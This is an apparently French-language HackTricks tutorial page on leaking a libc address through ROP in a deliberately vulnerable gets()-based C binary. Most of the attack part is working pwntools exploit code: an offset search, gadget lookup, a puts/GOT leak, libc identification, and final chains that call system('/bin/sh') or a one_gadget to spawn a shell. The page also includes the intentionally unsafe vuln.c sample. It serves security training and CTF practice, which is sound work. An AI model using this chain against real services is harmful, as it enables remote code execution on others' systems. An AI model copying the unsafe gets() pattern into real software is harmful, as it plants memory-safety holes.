Leaking libc address with ROP

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Résumé rapide

  1. Trouver le décalage de l'overflow

  2. Trouver les gadgets POP_RDI, PUTS_PLT et MAIN_PLT

  3. Utiliser les gadgets précédents pour fuir l'adresse mémoire de puts ou d'une autre fonction libc et trouver la version de la libc (téléchargez-la)

  4. Avec la bibliothèque, calculer le ROP et l'exploiter

Autres tutoriels et binaires pour s'entraîner

Ce tutoriel va exploiter le code/binaire proposé dans ce tutoriel : https://tasteofsecurity.com/security/ret2libc-unknown-libc/ Autres tutoriels utiles : https://made0x78.com/bseries-ret2libc/, https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html

Code

Nom de fichier : vuln.c

#include <stdio.h>

int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);

return 0;
}
gcc -o vuln vuln.c -fno-stack-protector -no-pie

ROP - Modèle de fuite de LIBC

Je vais utiliser le code situé ici pour réaliser l'exploit. Téléchargez l'exploit et placez-le dans le même répertoire que le binaire vulnérable et fournissez les données nécessaires au script :

pageLeaking libc - template

1- Recherche du décalage

Le modèle nécessite un décalage avant de continuer avec l'exploit. S'il n'est pas fourni, il exécutera le code nécessaire pour le trouver (par défaut OFFSET = "") :

###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return

Exécutez python template.py une console GDB s'ouvrira avec le programme planté. À l'intérieur de cette console GDB, exécutez x/wx $rsp pour obtenir les octets qui allaient écraser le RIP. Enfin, obtenez le décalage en utilisant une console python:

from pwn import *
cyclic_find(0x6161616b)

Après avoir trouvé le décalage (dans ce cas 40), changez la variable OFFSET à l'intérieur du modèle en utilisant cette valeur. OFFSET = "A" * 40

Une autre façon serait d'utiliser: pattern create 1000 -- exécuter jusqu'à ret -- pattern search $rsp depuis GEF.

2- Recherche de Gadgets

Maintenant, nous devons trouver des gadgets ROP à l'intérieur du binaire. Ces gadgets ROP seront utiles pour appeler puts afin de trouver la libc utilisée, et plus tard pour lancer l'exploit final.

PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]

log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret  gadget: " + hex(POP_RDI))

Le PUTS_PLT est nécessaire pour appeler la fonction puts. Le MAIN_PLT est nécessaire pour appeler la fonction principale à nouveau après une interaction pour exploiter le débordement à nouveau (des tours d'exploitation infinis). Il est utilisé à la fin de chaque ROP pour rappeler le programme. Le POP_RDI est nécessaire pour passer un paramètre à la fonction appelée.

À cette étape, vous n'avez pas besoin d'exécuter quoi que ce soit car tout sera trouvé par pwntools pendant l'exécution.

3- Recherche de la bibliothèque libc

Il est maintenant temps de trouver quelle version de la bibliothèque libc est utilisée. Pour ce faire, nous allons fuir l'adresse en mémoire de la fonction puts puis nous allons rechercher dans quelle version de bibliothèque la version de puts se trouve à cette adresse.

def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)

#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address,  "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

return hex(leak)

get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()

Pour ce faire, la ligne la plus importante du code exécuté est :

rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

Cela enverra quelques octets jusqu'à ce que RIP soit écrasé : OFFSET. Ensuite, il définira l'adresse du gadget POP_RDI afin que l'adresse suivante (FUNC_GOT) soit enregistrée dans le registre RDI. Cela est nécessaire car nous voulons appeler puts en lui passant l'adresse de PUTS_GOT car l'adresse en mémoire de la fonction puts est enregistrée à l'adresse pointée par PUTS_GOT. Ensuite, PUTS_PLT sera appelé (avec PUTS_GOT dans le registre RDI) afin que puts lise le contenu à l'intérieur de PUTS_GOT (l'adresse de la fonction puts en mémoire) et l'affiche. Enfin, la fonction principale est appelée à nouveau pour que nous puissions exploiter à nouveau le dépassement de tampon.

De cette manière, nous avons trompé la fonction puts pour qu'elle affiche l'adresse en mémoire de la fonction puts (qui se trouve dans la bibliothèque libc). Maintenant que nous avons cette adresse, nous pouvons rechercher quelle version de libc est utilisée.

Comme nous exploitons un binaire local, il n'est pas nécessaire de déterminer quelle version de libc est utilisée (il suffit de trouver la bibliothèque dans /lib/x86_64-linux-gnu/libc.so.6). Cependant, dans le cas d'une exploitation à distance, je vais expliquer ici comment vous pouvez le trouver :

3.1- Recherche de la version de libc (1)

Vous pouvez rechercher quelle bibliothèque est utilisée sur la page web : https://libc.blukat.me/ Cela vous permettra également de télécharger la version de libc découverte

3.2- Recherche de la version de libc (2)

Vous pouvez également faire :

  • $ git clone https://github.com/niklasb/libc-database.git

  • $ cd libc-database

  • $ ./get

Cela prendra du temps, soyez patient. Pour que cela fonctionne, nous avons besoin de :

  • Nom du symbole libc : puts

  • Adresse libc divulguée : 0x7ff629878690

Nous pouvons déterminer quelle libc est probablement utilisée.

./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)

Nous obtenons 2 correspondances (vous devriez essayer la deuxième si la première ne fonctionne pas). Téléchargez la première :

./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64

Copiez la libc depuis libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so vers notre répertoire de travail.

3.3- Autres fonctions pour la fuite

puts
printf
__libc_start_main
read
gets

4- Recherche de l'adresse basée sur la libc et exploitation

À ce stade, nous devrions connaître la bibliothèque libc utilisée. Comme nous exploitons un binaire local, je vais utiliser simplement : /lib/x86_64-linux-gnu/libc.so.6

Ainsi, au début de template.py, changez la variable libc en : libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Définir le chemin de la bibliothèque une fois connu

En donnant le chemin de la bibliothèque libc, le reste de l'exploit va être calculé automatiquement.

À l'intérieur de la fonction get_addr, l'adresse de base de la libc va être calculée :

if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

Notez que l'adresse de base finale de libc doit se terminer par 00. Si ce n'est pas votre cas, vous pourriez avoir divulgué une bibliothèque incorrecte.

Ensuite, l'adresse de la fonction system et l'adresse de la chaîne "/bin/sh" vont être calculées à partir de l'adresse de base de libc et de la bibliothèque libc donnée.

BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]

log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))

Enfin, l'exploit d'exécution /bin/sh va être préparé et envoyé :

rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)

p.clean()
p.sendline(rop2)

#### Interact with the shell #####
p.interactive() #Interact with the conenction

Expliquons ce dernier ROP. Le dernier ROP (rop1) s'est terminé en appelant à nouveau la fonction principale, puis nous pouvons exploiter à nouveau le débordement (c'est pourquoi l'OFFSET est à nouveau présent). Ensuite, nous voulons appeler POP_RDI pointant vers l'adresse de "/bin/sh" (BINSH) et appeler la fonction system (SYSTEM) car l'adresse de "/bin/sh" sera passée en paramètre. Enfin, l'adresse de la fonction exit est appelée pour que le processus se termine proprement et qu'aucune alerte ne soit générée.

Ainsi, l'exploit exécutera un shell _/bin/sh_**.

4(2)- Utilisation de ONE_GADGET

Vous pourriez également utiliser ONE_GADGET pour obtenir un shell au lieu d'utiliser system et "/bin/sh". ONE_GADGET trouvera à l'intérieur de la bibliothèque libc un moyen d'obtenir un shell en utilisant juste une adresse ROP. Cependant, il y a généralement certaines contraintes, les plus courantes et faciles à éviter sont comme [rsp+0x30] == NULL. Comme vous contrôlez les valeurs à l'intérieur du RSP, vous n'avez qu'à envoyer quelques valeurs NULL supplémentaires pour éviter la contrainte.

ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100

FICHIER D'EXPLOIT

Vous pouvez trouver un modèle pour exploiter cette vulnérabilité ici :

pageLeaking libc - template

Problèmes courants

MAIN_PLT = elf.symbols['main'] introuvable

Si le symbole "main" n'existe pas. Vous pouvez alors trouver où se trouve le code principal :

objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:

et définir manuellement l'adresse :

MAIN_PLT = 0x401080

Puts non trouvé

Si le binaire n'utilise pas Puts, vous devriez vérifier s'il utilise

sh: 1: %s%s%s%s%s%s%s%s: not found

Si vous trouvez cette erreur après avoir créé tous les exploits : sh: 1: %s%s%s%s%s%s%s%s: not found

Essayez de soustraire 64 octets à l'adresse de "/bin/sh":

BINSH = next(libc.search("/bin/sh")) - 64
Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

D'autres façons de soutenir HackTricks:

Dernière mise à jour